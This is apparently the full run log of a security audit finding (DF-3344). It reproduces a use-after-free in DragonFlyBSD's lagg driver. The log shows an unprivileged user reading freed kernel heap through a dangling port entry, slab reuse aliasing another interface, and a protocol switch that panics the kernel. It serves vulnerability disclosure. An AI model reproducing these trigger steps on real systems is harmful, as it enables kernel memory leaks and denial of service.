โฌข DragonFlyBSD Kernel Audit
DF-3344 / run.log
โ† back to finding โ†“ download raw
DF-3344 full session capture โ€” guest DragonFly 6.5-DEVELOPMENT #0 (X86_64_GENERIC, INVARIANTS), 2026-09-11
All commands executed via dfbsd-qemu/vm.sh run_root / run_user; output untrimmed.

=== [0] environment ===
DragonFly dfbsd 6.5-DEVELOPMENT DragonFly 6.5-DEVELOPMENT #0: Thu Jul  2 06:02:54 UTC 2026     root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC  x86_64
options INVARIANTS (X86_64_GENERIC:56); pseudo-device lagg (X86_64_GENERIC:289); if_lagg compiled into the kernel (kldload: "module already loaded or in kernel")
build: cc -O -o laggleak laggleak.c -I/usr/src/sys -Wall ; cc -O -o udptx udptx.c -Wall  โ†’ both clean

=== [1] root: setup lagg0 = failover(tap0 master, tap1) ===
lagg0: flags=808843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST,PROXY> metric 0 mtu 1500
	ether 00:bd:d4:96:03:00
	inet 10.66.7.1 netmask 0xffffff00 broadcast 10.66.7.255
	laggproto failover lagghash l2,l3,l4
	laggport: tap1 flags=0<>
	laggport: tap0 flags=1<MASTER>
	groups: lagg
	media: Ethernet autoselect
	status: no carrier

=== [2] unprivileged (uid=1001 maxx): baseline port table ===
uid=1001(maxx) gid=1001(maxx) groups=1001(maxx)
lagg lagg0 proto=2 ports=2
  port[0]: ifname='lagg0' portname='tap1' prio=0 flags=0x0
        rp_portname hex: 74 61 70 31 00 00 00 00 00 00 00 00 00 00 00 00
  port[1]: ifname='lagg0' portname='tap0' prio=0 flags=0x1
        rp_portname hex: 74 61 70 30 00 00 00 00 00 00 00 00 00 00 00 00

=== [3] root: destroy member tap0 โ€” NO cleanup runs (the bug) ===
tap0-DESTROYED
lagg0: flags=808843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST,PROXY> metric 0 mtu 1500
	ether 00:bd:d4:96:03:00
	inet 10.66.7.1 netmask 0xffffff00 broadcast 10.66.7.255
	laggproto failover lagghash l2,l3,l4
	laggport: tap1 flags=0<>
	laggport: tap0 flags=1<MASTER>            <-- destroyed interface still a member, still MASTER
	groups: lagg
	media: Ethernet autoselect
	status: no carrier

=== [4] unprivileged: post-destroy port table (reads freed tap_softc) ===
lagg lagg0 proto=2 ports=2
  port[0]: ifname='lagg0' portname='tap1' prio=0 flags=0x0
        rp_portname hex: 74 61 70 31 00 00 00 00 00 00 00 00 00 00 00 00
  port[1]: ifname='lagg0' portname='tap0' prio=0 flags=0x1
        rp_portname hex: 74 61 70 30 00 00 00 00 00 00 00 00 00 00 00 00   <-- 'tap0' bytes now live in FREED heap

=== [5] root: force slab reuse ===
ifconfig tap2 create; ifconfig tap3 create; ifconfig tap4 create
CREATED

=== [6] unprivileged: dangling entry now aliases the reused chunk ===
lagg lagg0 proto=2 ports=2
  port[0]: ifname='lagg0' portname='tap1' prio=0 flags=0x0
        rp_portname hex: 74 61 70 31 00 00 00 00 00 00 00 00 00 00 00 00
  port[1]: ifname='lagg0' portname='tap2' prio=0 flags=0x1
        rp_portname hex: 74 61 70 32 00 00 00 00 00 00 00 00 00 00 00 00   <-- name mutated to 'tap2': lp->lp_ifp now aliases tap2's live ifnet

=== [7] unprivileged: tx through the dangling failover primary ===
ifconfig tap2 destroy (root) first, then:
sent 3000/3000 udp packets via lagg0
TX-RC=0
(guest survived: stale freed-memory flags read "inactive", failover fell through to live tap1 โ€” the freed-memory reads DID happen in lagg_link_active)

=== [8] root: switch proto to lacp with dangling member -> PANIC ===
ifconfig lagg0 laggproto lacp
(command never returned; ssh hung; guest went down)
dmesg tail:
  Fatal user address access from kernel mode from ifconfig at ffffffff826016e8
  Fatal trap 12: page fault while in kernel mode
  cpuid = 0; lapic id = 0
  fault virtual address = 0x3c0
  fault code = supervisor read data, page not present
  instruction pointer = 0x8:0xffffffff826016e8
  current process = 1000 (ifconfig)
  Stopped at      tapifioctl+0x158:       testb   $0x1,0x3c0(%r12)
  db>

Path: ifconfig(SIOCSLAGG lacp) -> lagg_ioctl -> lagg_lacp_attach ->
      lacp_port_create(dangling lp) -> if_addmulti(lp->lp_ifp = freed ifnet)
      -> freed ifnet's stale if_ioctl path -> tapifioctl on garbage softc -> page fault.

Guest down at DDB. vm.sh status: down. Full panic: panic.txt